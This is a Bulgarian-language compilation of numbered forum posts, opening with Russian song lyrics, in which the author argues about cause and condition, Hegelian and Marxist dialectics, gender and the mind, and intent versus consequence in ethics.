Научись научись научись не глотать слова
Что это такое луна без на
Это все равно что земля без ля
ο конечно если лимон без мон
Это что угодно только вовсе не лимон
Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Что это такое зима без ма
Это все равно что каток без ток
ο конечно если игра без ра
Это что угодно только вовсе не игра
Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Я тебе я тебе я тебе говорю сперва
Научись научись научись не глотать слова
Я тебе я тебе я тебе говорю сперва
Научись научись не глотать слова"
Ще поясня, че споменаването на "лимон" в песента не е това, поради което е поставена тук. Основно имам предвид СПИНОЗА. Хайде, съгласно него, да се опиташ да ми кажеш - ЛИМОН, БЕЗ ВИТАМИН ЦЕ И КИСЕЛИНА, ОСТАВА ЛИ СИ ЛИМОН?
21. Добре, Артъре, хайде, кажи сега дали според тебе това е закон и, дали въобще, е възможно?
22. Мерси (искрено) за отношението! Предпочитам несъгласен, дето пише, пред съгласен, който си мълчи :)
И така:
"причината за кипване на водата е, че, най-общо казано, температурата на водата е достигнала точката на кипене."
Това според мен е голяма онтологическа, дори, конкретно - физическа, тавтология. Причината за кипене на водата била, че температурата й била достигнала точката на кипене! За да разберем какво се крие зад това изречение, да го опростим:
"Водата кипи, защото става толкова топло, че да кипи."
Кипенето е движение (бързо движение, най-общо). Температурата, откакто откриха, че няма топлород, е просто различна степен на движение на частиците. Т.е. излиза, че казваш :
ПРИЧИНАТА ЗА БЪРЗОТО ДВИЖЕНИЕ НА ВОДАТА Е, ЧЕ ДВИЖЕНИЕТО Й (температурата) Е ДОСТИГНАЛА ТОЧКАТА НА БЪРЗО ДВИЖЕНИЕ.
Т.е. КИПИ, ЩОТО КИПИ.
Да, ама каква е ПРИЧИНАТА ДА КИПИ? Кое е направило ДВИЖЕНИЕТО НА ЧАСТИЦИТЕ ТОЛКОВА БЪРЗО, КОЕ Е НАМАЛИЛО ПРИВЛИЧАНЕТО МЕЖДУ ТЯХ?...
ОГЪНЯ!!!!!!! Значи Георг Абелович Брутян е прав.
(http://www.rau.am/img/news/brutyan.jpg) - Брутян.
"Наличието на огън е условие за възникване на причината."
КАКТО ВИДЯХМЕ, самият огън е ПРИЧИНАТА. Кипенето е СЪСТОЯНИЕ на водата. А пряката му причина е ОГЪНЯ (В този случай! Ако имахме случай на кипнала вода от лава или нажежена стомана, тогава причината ще е друга, но ЗА ТОЗИ ПРИМЕР-ТАЗИ ПРИЧИНА!)
"причината за загасването на огъня би могло да бъде, най-общо казано, отсъствието на кислород, елемент необходим за горенето. Заливането на огън с вода е условие за възникването на такова отсъствие."
Което не променя ситуацията, че огънят "сам си е направил" да няма как да гори, понеже е залят от задвижената от него водица. (Иначе няма да спорим, че в самата вода пак си има кислород И ПРИ МНОГО ВИСОКИ ТЕМПЕРАТУРИ, АКО ПУСНЕШ ВОДА, ТЯ ЗАПОЧВА ДА ГОРИ, т.е. разделят се водорадът и кислородът, и става опасно! Пожарникарите го изучават това и си имат специални способи за гасене на пожари, чиято температура надхвърляше някакви си стотици градуси - 700 ли, 800 ли, 500 ли, не помня!!!). /Това го бях гледал в някакъв филм, но по-късно се разтърсих за повече информация и гледам, че има вече доста повече информация по въпросите от преди: та, доколкото разбирам, наистина водата не винаги била подходяща за гасене на пожари, но бе било, защото се разпадала на водород и кислород, а по други причини - ето някои източници за повече информация - reddit.com/r/askscience/comments/3gyizf/is_there_a_temperature_at_which_water_will_ignite/, physicsforums.com/threads/can-water-be-flammable.388918/. Длъжен съм да внеса уточнението, защото вече разполагам с малко повече информция по въпроса, но пак не бих казал, че напълно ми е ясно./
"По този начин, Далай, се различава условие от причина."
Ако изключим този пример, абсолютно съм съгласен. Даже и основание от причина се различава, както ни е учил Александър Андонов, да ни е жив и здрав!
"Иначе в най-спекулативен смисъл, разбира се, че следствието определя причината, доколкото и причината и следствието са моменти от взимодействието и в този смисъл, ако следствието не се получи, то причината няма на какво да бъде причина и не може да бъде мислена като причина."
Това ми харесва, понеже подкрепя диалектиката, а и много философски е казано "не може да бъде мислена като причина", но какво да кажем за възражение от сорта (бих искал да чуя вашите мнения, аз съм вземал отношение към тях на други места):
- Причина и следствие са често разединени времево и няма как следствието да окаже влияние на причинилото го, ако последното отдавна го няма, примерно.
Това вярно ли е и, ако е вярно, какво да правим с този диалектически феномен? Броим ли го за закон или не?
Мерси!
23. А, не е точно така, хубава дискусийка завързахме за причина и следствие, заповядай да си кажеш гл. точка, защото мисля, че ще добавиш нещо интересно, съдейки по постовете ти до сега.
24. Ами без ограничения. Всяка една такава е добре дошла, макар че предпочитам да изхождаме от една ежедневна парадигма, за да не се натоварва допълнително и без това сложния въпрос.
25. "Искам да кажа, че причината за кипването на водата е нейната температура. По-специално - еди коя си температура. Която може да бъде достигната от своя страна по различни начини - причини, ако щеш."
За мене температура е просто движението на частиците. Т.е. нещата се припокриват. Иначе, че може да има различни причини - разбира се. КАКТО НИ Е УЧИЛ ГОСПОДИН ЛЮБЕН СИВИЛОВ - "Едно и също следствие може да има различни причини."
"Моля те, Далай, помисли малко върху това, че водата кипи при различна температура. Зависи от надморската височина и налягането общо взето."
Правилно, това е комплексът от условия. Но ние разглеждаме само един пример, подразбиращ се като кипнала вода, примерно в Сф., а не на Мусала. :)
"Иначе - любопитно е какво е говорил Александър Андонов за причина и основание - сигурно това, което е казал Хегел, а?"
Оооо, А. Андонов не може да се пресъздаде, той трябва да се чуе. ;)
26. "а не, причината за кипването на водата определено е някой, който е сложил тенджерата върху огъня и е съобразил, че температурата на огъня ше промени температурата на водата, ако дистанцията между двете субстанции се намали достатъчно, за да стане взаимодействието между тях възможно :)))"
Тука вече излизаме, мисля, извън конкретния пример : "Кипнала вода гаси огън.".Ако вървим по този път, ще трябва да кажем, че "всъщност" причината са родителите му, които са го създали и... ще стигнем до Дарвин, че и до Големия... /имам предвид "Големия взрив"./
Иначе ми хареса хумора. :)
27. Зависи в контекста на кое говорим? Дъждът там трябва да се дефинира първо.
28. "нашата симпатична човешка цивилизация е шизоидна по дефиниция, константен преход, шифт между една сетивна и една серебрална матрица
виждаме, че земята е плоска
но знаем, че е кръгла"
Не, това е просто диалектика на ВИДИМОСТ и СЪЩНОСТ. Няма нищо шизоидно.
"във втората серия, в чистилището, нео боледуваше и изстрадваше младежкия си екзистенциализъм, екзистенциалната си депресия, в който сетивната матрица се възприема като майа, илюзия, а серебралната - като извънматрична, обективна истина :)"
Той Нео си страда по принцип. ;) Както казваше един - "И на мен да ми дадат толкова много пари за една роля и аз ще играя, че страдам!" :) Иначе сериозно - мисля, че лирическият му герой определено си беше образ в развитие, но то при такава динамична сюжетност, няма как.
"колко детинско :)
защото земята е кръгла, но и плоска, и метафизичния раздор престава да бъде тегуба и проблем, когато се научим да сърфираме междуматрично без да падаме в софистичните дупки :))))"
Тука малко не разбрах замисъла ти, но искам да потвърдя, че няма никакви раздори от какъвто и да е порядък, камо ли - метафизически, ако сме наясно с диалектиката на ВИДИМОСТ-ЯВЛЕНИЕ-СЪЩНОСТ ОТ ПЪРВИ ПОРЯДЪК-СЪЩНОСТ ОТ ВТОРИ ПОРЯДЪК И ПР. Това са РаЗЛИЧНИ СТЕПЕНИ в ОНТОЛОГИЯТА и, НАЙ-ВЕЧЕ, В ГНОСЕОЛОГИЯТА.
"проблема, или метафизичния конфликт, се появява при postdialetheism-a, когато се пръкват философите, люде невежи, които постановяват че земята не може да бъде и двете, и плоска, и кръгла :)"
Това може да го твърди само човек, незапонат с ДИАЛЕКТИКАТА. Няма начин да си чел ЛЕНИН-МАРКС-ЕНГЕЛС-ХЕГЕЛ и да си стоиш на ниво "а ла Аристотел".
"а колко разбираемо и непоболяващо е било сложното преди този псевдопрогрес:
"Ние стъпваме и не стъпваме в същата вода"
᾿We step and do not step into the same rivers; we are and we are not’
Heraclitus "
МНОГО СИ ПРАВ - ПОНЯКОГА И ХЕРАКЛИТ + ЛАО ДЗЪ са достатъчни, за да разберем тези прости неща!
29. Е, то радостта си е лесно-постижима. Без никакъв намек за личните ти качества, само като бегло примерче, някой, примерно си се чувства радостен, понеже е пил 3 водки и са му платили мезето в кварталната кръчма. Та викам радостта да я оставим.
Аристотел точно с това го отъжествих, с едно класическо "Закон за изключеното трето", който си има своите приложения и валидности, но само в определени рамки, контексти, условия и пр. По същия начин както Нютоновите положения важат на (и до) определено ниво, после... трябва да излезнем малко извън Нютон.
" никак не е трудно да си "а ла Аристотел" в днешен ден "
То МНОГО ТРУДНИ НЕЩА ИМА НА ТОЗИ СВЯТ, но дали ТРУДНОСТТА е самодостатъчност, самоцел или нещо от сорта?
Не, че е аргумент, ама аз като изключа проф. Ради Радев, който смяташе, че Аристотел е най-великият човек на всички времена и е "много несправедливо Христос да е по-популярен от Аристотел", досега не бях срещал втори, който да омаловажава героите на диалектиката за сметка на ученик на Платон, но,...
А относно "ефективната причина" - определено доста ефективно ще е това - казва му се "регрес". ;)
Разбира се, тук не му е мястото, но би ми било много интересно да прочета кратка съпоставка на това къде диалектиката бърка, а метафизиката тържествува. "Метафизика" си ползвам в Енгелсовия смисъл, накратко:
1. Гледане на всичко като състояние на безжизненност. 2. Гледане на действителността като пребиваваща в статично състояние. 3. Гледане на всички явления като изолирани едно от друго. 4. Признаване само на нови конфигурации на дадените елементи. 5. Описване на света като непротиворечащ.
30. Ами това може да е един от вариантите. То нещата са както при дадена система. Да речем, понеже в момента е модерно да се дават примери с Интернета - "Вселедствие на какво ми спира интернетът? Дали заради модема (само)?"... Надявам се разбираш за какво говоря.
31. Може и да е имало такива случаи в историята, но такова твърдение е опростенческо. Обществото е по-сложно, по-висше и, дори, по-хаотично, и приспособимо от един биологичен организъм, което го прави не задължително подвластно на "младост, старост...". Ако твърдим, че всяко общество минава през такива етапи просто сме в един механицизъм и фатализъм.
32. Ами, Ясен/-е, явно тя си има някакви субективни критерии, аз си имам други (вероятно не съвпадат, ако вземем да сравняваме), но това не е съществено в случая. Визира се някакъв регрес, а в първия и основен въпрос - "Кога едно общество загива?" мисля, че всички сме еднозначни като понятие и едва ли ще има две мнения. Загиването си е загиване. :)
33. Ами аз, също така реминисцентно, се сещам за класическия пример от училище за загиването на обществото на Аварския хаганат и последвалото "сатори" /в смисъл на "просветление"/ от страна на хан Крум, дето въвел прословутите си ЗАКОНИ. /Имам предвид Крумовите закони: https://bg.wikipedia.org/wiki/Крумови_закони (https://bg.wikipedia.org/wiki/Крумови_закони)./
34. Това, че няма строги критерии не значи, че нямаме достатъчно нагледни исторически и съвременни примери за регреси и деградации, които може да се обозначават с различни думи като "загниване".
35. "Hello, ще се включа след снимките на едно филмче. Само накратко: да не бъркаме красотата с мъдростта. Поетите, в някой случаи пишат красиво но това по никакъв начин не означава мъдро. Или даже умно. За мъдростта се иска нещо много повече от навързването на думи. Иска се определено отношение на тези думи с това, което обикновено наричаме свят (и не, не става въпрос "само" за физическия свят)."
How are you doing ? ;) Всичко, което казваш е абсолютно вярно, но, не бива да се изхожда от предпоставката, че : "Хегел е поет". Това просто не е вярно. Отворете която и да е енциклопедия и ще видите, че човекът е бил философ. Колегата за поета го е казал образно или ентимематично, но в никой случай не е имал предвид, че Хегел е само и единствено поет.
"А постигането на мъдростта е това, което (се опитва да) (на) прави философията. В този смисъл, да Хегел разбира се е поет. Но според някой, като мен например. Макар и да е супер различен "поет" от Фуко например. Или Дерида, лека им пръст. Дали може светът да се окаже в такова отношение, което да демонстрира Хегел като философ а не просто като поет? Да, може. Тогава ще си посипя косата с пепел кротко в кухнята и ще запо4на да го 4ета отново. Дотогава - не, благодаря. А и не вярвам да стане."
АМА МОМЕНТ, СЕГА! ТОВА, ЧЕ НА ХЕГЕЛ КАРТИНАТА НА СВЕТА НЕ Е ОБРАЗЦОВА, НЕ ЗНАЧИ, ЧЕ ТРЯБВА ДА ОТХВЪРЛЯМЕ ЦЯЛАТА МУ ФИЛОСОФοЯ, БАРАБАР С РАЦИОНАЛНОТО ЗЪРНО НА ДИАЛЕКТИКАТА. Т.е. заради ИДЕАЛИСТИЧЕСКАТА ОНТОЛОГοЯ, НЕ МОЖЕ ДА ОТХВЪРЛИМ ДИАЛЕКТИЧЕСКОТО, което е обективно-действащо и ПРОНИЗВА ЦЯЛОТО БИТИЕ на ниво МИСЛЕНЕ-ОБЩЕСТВО-ПРИРОДА-ВСЕЛЕНА...
"ПС Не мисля че достатъчно добре се оценява "нивото на Аристотел". Така както си говорим и татаринът и чуждоземеца го използвате. Така, че малко повече уважение към собсвения си начин на мислене :)."
Нивото на Аристотел е оценено и предъвкано в световната история на философията до болка. Никой не отрича геният му (за онова време) и почините, които е направил. ОТДЕЛНО доста обстойно са се занимали хората и с грешките му. Така че Аристотел е много, до болка, разработван.
Изречението: "Така както си говорим и татаринът и чуждоземеца го използвате. " ми е неясно, така че няма да се спирам на него.
Колкото до уважението към собсвения начин на мислене, би било редно да има такова, само ако и когато мисленето ни е диалектично. В противен случай не може да се проявява уважение и да се себевеличаем. Най-прост пример - ако не мислим нещата в развитие как бихме могли да се себеуважаваме?
36. Dude, I luv your English. ;) And about the "абсолютна истина" си прав. /Заигравка с английския - в превод "Пич, обичкам твоя английски. ;) И относно... "/ Аз, както сигурно се досещате, подкрепям Ленин в теорията за истината и, съответно, бягам от догматизми, така че оценявам и твоето отношение в тази насока.
"Ако забеляза съм си оставил вратичка по-горе, но го направих от любезност а не защото наистина вярвам в нейната наложителност."
Ееее, много комплицирано, аз мисля, че ако се държим философски и възпитано, според най-общи рамки, това е достатъчно за диалога. Много съм прагматично насочен спрямо дискусиите, така че, няма проблеми (поне спрямо мен) даже и да не си много любезен. Стига да даваш повече "инфо" от себе си, понеже, не е четкане, но харесвам начина ти на разсъждение формално, методологично, че даже, понякога и съдържателно :)
""Хегел е поет" не е предпоставка а заключение на аргумент (който може и да не присъства в звършен ви в горния постинг но не ми се и иска да започваме войни върху Хегел)."
Ъхъ. Точно и аз това имах предвид - на ЕНТИМЕМА приличаше.
"Твърдението, че е философ явно напълно игнорира моето обяснение на философията като активност по постигане на мъдростта, която едновременно трябва да е вързана по определен начин с (това, което наричаме) "свят", не разбирам добре това игнориране."
Е, нима Хегел е съвсем инкохерентен и неадекватен на света!? Човекът даже за полицията и за костите на динозаврите пише, т.е. доста информиран и адекватен на ставащото е бил, без да ползва интернет (сигурно не е имал пари да се включи, кой знае?! ;) )... Разбира се, не е бил абсолютно точен и меродавен за всичко (лично мое мнение е, че се дъни в заключенията си за стойността на китайската мисъл), но си е "вързан" по доста "определен начин" с това, което си наричаме ние "свят".
"Енциклопедиите не са особено достоверен източник понякога даже и за етикети."
Щом им нямаш вяра, попитай тогава някои от преподавателите си : "Хегел поет ли е или е философ?", съветвам те, да не е преди да си си взел изпитите, понеже иначе е малко рисковано. ;)
"Накратко, всички тези люде, които, налепени с каквито и да е етикети, най-често "философ", са произвели нищо друго освен (промишлени количества) думи някак навързани, които няма грам смислена връзка с начина, по който светът е, не би трябвало да бъдат всъщност приемани за философи по горната формулировка."
Много бих се радвал да ми посочиш поне един етикиран като философ, който съвсем е некохерентен към света и не можем да му намерим в изреченията нищо релевантно на света. Не мисля, че ще успееш.
"И за да завърша аргумента аз, въпреки едногодишното си младенческо увлечение по стила на Хегел преди десетина години не бих го приел за философ, каквито и постинги да повлече това :). За споменатите французи още по-малко."
Лошото не е, че не приемаш безспорни философи за философи, а, че личните ти критерии се "дънят", понеже имаме достатъчно примери в творчеството им на точно обратното в това, което им вменяваш за коронен недостатък.
"Аз не оспорвам картината на Хегел като не-образцова, аз въобще я оспорвам като откъсната от света. А иначе тя сама за себе си има много образцови, според мен поетически качества."
А МЕТОДЪТ НЕ Е ЛИ ДОСТА СВЪРЗАН СЪС СВЕТА?
"Израза "рационалното зърно на диалектиката" е наистина страшно сладък."
Ами такъв си е :)
"Тази рационалност обаче, така формулирана се крепи на вражеската Аристотелова класическа логика и ми се струва за уместно този, който твърди, че има рационално зърно в диалектиката да бъде така добър да стигне до него и да го формулира БЕЗ да използва вражески прийоми."
ИМАХ ПРЕДВИД, ЧЕ САМАТА ДИАЛЕКТИКА Е РАЦИОНАЛНОТО ЗЪРНО. ПРОСТИЧКО КАЗАНО: Картината му, поради своята идеалистичност може да е на времена дори шизофренична, но ДИАЛЕКТИКАТА му е РАЦИОНАЛНА. А Аристотеловите неща са просто "by the way" /англ. "между другото"/, приеми ги като епифеноменални с оглед на този въпрос и няма да имаме проблеми.
"Щото другото си е як чийтинг и не прави добро впечатление на евентуалните последователи."
Както са казали Диалектическите материалисти - това си е въпрос на практиката. Ако някой последовател се съмнява в чийтинг /от английското "измама; лъжа; лъжене; мамене"/, да заповяда да каже кой диалектически закон му се струва "out of order"/англ. "неработещ; повреден; не в ред"/ и ще го засипем с "армия" от примери, след което, може да стане последовател на нещо друго. ;)
37. Няма такива работи. Страхът е психологическо и биологично явление. А философията е форма на културата. Да се каже, че философията я било страх е, все едно, да се каже, че на философията й се спи или й се... прави някаква "физиология".
Ако ли пък се касае до отделните й носители - може. Може някои студенти да се страхуват от семиотиката, особено, преди изпит. Но страхуват се или не, все тая. Все ще има скъсани, понеже за поправителните сесии също трябват хора, нали така? /Лека шегичка, но някои сериозно това си го приказваха при нас - нямало как да няма скъсани, дори и всички да са перфектно подготвени, защото на поправките трябвало да има кой да се явява... Не съм проучвал въпроса допълнително, не знам нищо конкретно. Аз лично на поправки не съм ходил./
38. А не само те, не само те. Те философите са си частен случай. Просто некохерентните лесно минават за луди (с повече или по-малко основание).
39. /Относно "Нищото нищува"/: Един възможен отговор е, че това е ТАВТОЛОГИЯ. И после обясняваш на даскала какво е тавтология. После казваш какво е нищото. След което казваш и, че не може да нищува, защото то си е нищуване само по себе си. Примерно! Това е, ако даскалът цени оригиналните отговори и/или, ако си му любимка/любимец. В последния случай каквото и да напишеш, в рамките на културното, все ще минеш метър. Защото даскалите се подчиняват и на психологически закони, дори и да са философи. /Това е като лека шегичка. Всъщност само с "любимост" няма как да се надява даден ученик да мине и да успее. Трябва си учене и полагане на усилия./
ДРУГ ВЪЗМОЖЕН ОТГОВОР е да почнеш да говориш за Сартр, Хайдегер и пр., като задължително кажеш, че подобна тематика се разработва в България от хора като Александър Андонов, да речем... и тогава, ако даскалът харесва тоя тип есета, пак връзваш добрата оценка (нали за това става дума в крайна сметка или?...)
По тая логика, може и да направиш КОМБИНАЦИЯ от двата варианта - ти си кажи мнението, а и кажи кой какво е казал по въпроса, доколкото ти е известно. По тоя начин няма как да не просвириш поне по една от струните на даскаловата душевност (в случай, че човекът не е изморен и наистина чете какво сте писали, разбира се).
Поздрави от един друг даскал. :)
40. Разбирането, езикът и всички гносеологични неща въобще не бива да се обвързват с половата принадлежност. οма случаи на:
-Мъж разбира жена
-Жена разбира мъж
-Мъж разбира мъж
-Жена разбира жена
-Мъж не разбира жена
-Мъж не разбира мъж
-Жена не разбира мъж
-Жена не разбира жена.
От всички възможни и ежедневно-актуализиращи, случващи се комбинации по-горе ясно съзнаваме, че разбирането не зависи от пола. Умът няма пол.
(Следва...)
-
Имам няколко от Methodius. Прилича ми на Валентино, но не зная дали са един и същ философин.
Споделям. От преди време...
Ала са в наличност (по заглавната отпратка) разни музикални сборници; и всички теоретични творби на Рихард Вагнер, както и кореспонденцията Лист-Вагнер (а на български напр. съществува едно старо издание на кореспонденцията Роберт Шуман - Клара Вик); а също и обемиста (700 стр.) история на музиката от 1907 г. и мн. др. текстове върху музиката (изследвания и историографии): в общност, а и за отделни композитори!
Аз не умея да говоря, слушам, пиша или произнасям на английски, но (незнайно защо) се справям отлично с "тихото" четене (на англоезични текстове)!
***
Бих искал да попадна (безучастно) във ваши (на философите) беседи за естетическата теория на Теодор Адорно (нали издадоха на български една книга, а именно "Естетическа теория" от Т. Адорно) и музикалната механика на Макс Вебер (също издадоха на български малка, но невероятно наситена книжка от Вебер). Купих си ги от "Хеликон"... Те нали и двамата са свирели отлично на пиано (особено Адорно), както и преди тях Ницше - на цигулка и пиано... Даже си набавих изпълнения с вокални композиции на Ницше, вкл. и енигматичния "Химн на живота", за който той (по повод една незначителна корекция) споменава в края на "Ecce Homo".
И въобще: философите-музиканти, та и музикантите-философи.
На моменти много ме завладява този такъв стил.
-
На едни 90 процента сигурно. :)
-
Продължавам с философските и полуфилософски мнения от преди много години.
41. Даже и в психичното полът е относителен. Всичко, което мислим като женско в пола, да речем, е или преходно (примерно има го в една епоха ( и/или народност), а в други не - като например това, че жените готвят, а мъжете не.) Психологичното си е пак БЕЗПОЛОВО - 4-те основни темперамента на Павлов ги има и при мъже, и при жени... То даже при кучетата ги има (независимо мъжки или женски).
Психичното, филогенетично и онтогенетично, е преди ума. Умът е в психичното и производен от него. Разбира се, умът е НАД-психичен, но не и НЕ-психичен. Надстройка просто.
Аналитичната психология е приказка и, най-често, не се потвърждава от материалистическата, научна психопатология.
Сериозно по въпроса за параноята и шизофренията. Според някои психиатри параноята (Paranoia Vera) е част и/или преходен етап към шизофренията. Отделно, самата шизофрения, е много видове. В този смисъл дори някои смятат, че това са отделни заболявания като генезис, феноменология и т.н., и обособяването им само в една-единствена нозологична единица е погрешно. Но, да вземем, някаква "чиста", дилетантско-мислена параноя и "класическа" шизофрения - да, би могло да има разбиране между такива психично-болни, ако, да речем, единия се притеснява, че може да го тровят системно, а другият има вече изкристализирана (по Ясперс) налудна идея за отравяне.
И, ЗАБЕЛЕЖИ, мъже-жени, все могат да са болни от шизофрения, параноя и пр. АБЕ ХОРА, бебето до 3-я месец няма обособен пол. А после от едни и същи структури става или пенис или клитор. Не дай си боже да стане гаф в "механизма" и се ражда женомъж или мъжожена, т.е. чист хермафродит, което и показва, че половете са нещо единно. Аз смятам, че преди даже не е имало диференциация на половете, защото и до днес мъжете имат (закърнели) млечни жлези (цицки). И, без голяма доказателствена стойност, да добавя, че според Баба Ванга една от първите човекоподобни маймуни била двуполова. Последните две неща ги казвам само информативно.
42. Сезария Евора е африканска певица от Кабо Верде - островна държавица до Северо-западните африкански брегове.
По Пешо-темата : (2) е лошо като резултат, независимо дали Пешо го съзнава или не. /Във връзка с примера 1) Пешо върши нещо лошо напълно съзнателно. + 2) Пешо върши абсолютно същото нещо, но несъзнателно./
Полу-аналогично виц за Прасчо и Мечо Пух:
Мечо Пух забива страхотен тупаник в зурлата на Прасчо. Последният пада на земята. Окървавен заплаква :
-Мечооооо, защоооо? Аз мислех, че сме приятели!!!
Мечо Пух:
-Млъквай бе, Свиня!!! Аз откъде да знам КАКВО СИ СИ МИСЛИЛ?
;)
43. Това не е точно така. Някои промени са СМЪРТОНОСНИ, затова трябва да се спират, като по този начин се запазва живота и/или щастието. Примерно синът ти решава, че като жив човек е променящ се и от утре ще се промени в качеството си на редовен потребител на кокаин. Ами, считай, че ако не го спреш на време, след години (какво "години"? БРОЕНИ МЕСЕЦИ!) такава промяна ще настъпи у този човек, че направо ще умре без време. /Някои умират и за броени седмици, дни и дори по-кратки периоди от наркотиците!/ Така че ПРОМЯНАТА НЕ Е a priori НЕЩО ПОЗИТИВНО/ПРОГРЕСИВНО/ГРАДИВНО/ЖИВОТОПОДДЪРЖАЩО... съвсем не! Има си и животворни, и смъртоносни промени.
44. /Относно допълнителен пример с "Пешо е супер внимателен шофьор и цял живот кара внимателно и прави това, което един шофер може и трябва да прави. Един прекрасен ден обаче той блъска и убива, без да иска Гошо.
Въпрос 1: Лошо ли е това, демек Пешо нещо лошо ли е сторил?
Вариант 2: Пешо (същият) блъска Гошо, ама ИСКА и си го убива.
Въпрос 1: Лошо ли е сторил Пешо?
Въпрос 2. Ако е, същото лошо ли е като онова от вариант 1? Кое прави разликата ако не?
Въпрос 3. Ако не е същото волята ли прави разликата между лошавината и добрината?
Въпрос 4. Ако волята играе такава интересна и етико-конституираща роля кво да кажем за... случаи когато има само (!) воля ? :) А ?"/
Уааааааа (плача!)... Гошо умрял :( ... Тъжно ми е. Може би, защото аз се казвам Гошо. Така...
Безусловно ПРАВОТО е намерило най-подходящите етически преценки и решения в случая - т.е. става дума за умишлено убийство или за някакво друго. Т.е. резултатът все е трагичен (особено, ако човекът се казва Гошо, както разбрахме от емоционалното ми интро! /шегувам се, защото всъщност всяка смърт на човек си е трагедия/), така че лошото е налице и се ВЪЗМЕЗДЯВА с различни срокове на лишаване от свобода, което е по-малкият проблем; по-големият за който някои си мълчат, е че заедно с лишаването от свобода се осъществяват и произволни актове на лишаване от (анална и орална) девственост, което съвсем пък свръх-възмездява смъртта на Гошо, вечна му памет! :( /Говорейки сериозно - ето по въпроса със сексуалните посегателства в затворите резултати от прясно търсене в Гугъл: https://www.google.com/search?source=hp&ei=FZu_W9XDBNq80PEP-LaTiAo&q=sexual+abuse+in+jails&btnK=Google+Search&oq=sexual+abuse+in+jails&gs_l=psy-ab.3..0j0i22i30l2.718.10984..16216...1.0..0.670.10528.3-9j8j6......0....1..gws-wiz.......0i131.EX0FGtdHMls (https://www.google.com/search?source=hp&ei=FZu_W9XDBNq80PEP-LaTiAo&q=sexual+abuse+in+jails&btnK=Google+Search&oq=sexual+abuse+in+jails&gs_l=psy-ab.3..0j0i22i30l2.718.10984..16216...1.0..0.670.10528.3-9j8j6......0....1..gws-wiz.......0i131.EX0FGtdHMls)/
45. /Относно Юрген Хабермас и Европа/
Дядо Юрген говори неща, които са известни. Отделно бленува за някакъв върл централизъм, който никак не е по вкуса на европейските нации, защото всеки иска да е център, стига да му се отдаде възможност. ο, накрая, един философ би следвало да не е толкова субективен и етноцентричен (в случая европо-центричен)...
46. Е, ние се обичкаме шегичките, ама се хващаме за всяка дума, че да упражняваме философията. :) Биполярното разстройство си е циклофренията. За мъжа и жената пак не мога да приема, след традукцията за пирамидата, просто защото нямаме ЧИСТ МЪЖ и ЧИСТА ЖЕНА... Примерно /като измислен пример, в който посочвам, че престъпността няма пол, тероризмът няма пол, религиозният фанатизъм и той няма пол!/ мога да ти посоча Джума и Мариам - арабски атентатори, които много добре са се разбрали, въпреки различния пол, че ще гръмнат няколко десетки евреина (без да ги е еня те пък от какъв пол са), защото и двамцата са се разбрали в КАНОНА НА РАДИКАЛНИЯ ИСЛЯМ... Ето защо независимо от пол си имаме и философи/философки и анти-философи/анти-философки, и олигофрени/олигофренки, и пр.
А за шизофреника с параноика - пак пояснявам - много зависи какво е съдържанието на мислите им. От шизофреник до шизофреник има голяма разлика. Примерно някои си мислят, че извънземни им слагат електроди в мозъка, а други просто се дразнят, че "в котката се е вселил Дяволът и ме гледа като спя!!!"...
47. А, аз Гошо вече го оплаках :)
Да, прав си, просто по аналогия се присетих за нещо друго, за да илюстрирам как за общественото съзнание са важни последиците, а не толкова волево-емоционалните и/или интелектуални процеси, които са протекли в ЦНС-то на извършителя. По същия начин общественото съзнание реагира и на добрите неща:
"Бизнесмен дари 600000000000000 евро на дома за сираци в село Крън, община Брягово, област Хикс" /Примерът е измислен с цел да илюстрира дарения от страна на бизнесмени./
"УРААА!!!" -вика Общественото съзнание. Ама дали този бизнесмен ги е дарил тези пари от сърце или защото му говори "дяволът, който се е вселил в котката" (пример за шизофрения /който давах в друг пост/), или пък, защото ПЕРЕ ПАРИ ОТ НАРКОТИЦИ!?... Това никого не вълнува. Добър човек - дал за децата, толкова!
Т.е. нещата се свеждат до ЕЛЕМЕНТАРЕН ПРАГМАТИЗЪМ. По същия начин и някой като убие някого, веднага се смята за лош и много народ не прави разлика дали е убийство при самозащита, от ревност, за пари или, защото пак оня "дявол от котката" се е обадил...
Твърде далече е съзнанието на commoners-ите (масата) от Кант, дето казал, че не само който е ограбил банка трябва да иде в затвора, а и този, дето си бил помислил да ограби банка!... /Става дума не за всички хора, а за мнозинството./
Е, какво пък, в края на краищата и прагматизмът върши работа на ниво: "По-добре, отколкото без нищо!"
Колкото до етиката - МОТИВ, ПОСТЪПКА, ПРОСТЪПКА... МОТИВАЦИЯТА Е СМЕГЧАВАЩО или ОТЕЖНЯВАЩО ОБСТОЯТЕЛСТВО, НО САМО ТОЛКОВА...
48. Това са т. нар. ремисии. При шизофренията може и да няма, особено, ако не си пият лекарствата...
Всеки 2 неща имат единично (напълно-различаващо се), особено (полу-приличащо, полу-различаващо се) и общо (напълно-приличащо си).
49. При правилна стимулация жените /и мъжете, още отсега да отбележа, макар че по-сетне в поста е отбелязано/ изпитват оргазъм даже и от... животни, но да не навлизаме в темата. Всъщност същото се отнася и до мъжете. Примерът с това, че някоя не изпитвала оргазъм с любимия човек може да се подкрепи и с пример как на мъже не им става точно с любовта на живота им, защото се притесняват, а им става от някоя непозната, даже и да не разбира от философия, в което няма нищо възбуждащо... :p ;)
"Това означава, че отвъд всяка ценностна система, отвъд своя хабитат жената е способна на удоволствие от естетически Грозно."
Ами мъжете? След доста време "сушинка" не само с Грозно, но и (някои) с мъжко изпитват удоволствия. Има и случаи на удоволствия с Грозно & Мъжко, също... Сещам се за една карикатура - мъж лежи със слоница в кревата и се чуди как се е стигнало до там. Надписът под картинката гласеше :
"Самотата докарва странни приятели по легло." (цитат по смисъл)
"От друга страна, жената има феноменалната способност да се самоосакатява, трябва само да й се покаже как и да се научи. Тя е удивително склонна към всевъзможни жизнени откази и често прави нелепи, социално наложени, а не лични избори."
Това в пълна сила важи и за мъжете. Лудостта/Глупостта/Идиотията също нямат пол.
"От трета страна, жената рядко може да обясни разумно действията си или пък да представи достатъчно стегнато и аналитично случващото се в така наречения й душевен свят."
Осъзнаването на мотивацията е сложно нещо, но не жените не могат, а по-простите хора не могат, като цяло.
"При жената рефлексията е подмемена с цензура (в смисъла, който Фройд влага)."
Срещал съм жени, които нямат никаква цензура, направо си казват какво, кога и как са лапали, яли, че дори и обяснват за какво правят в тоалетната. Всичко е въпрос на култура, не на пол. Защото има и доста потайни мъже, които наистина се самоцензурират и даже стигат до неврози.
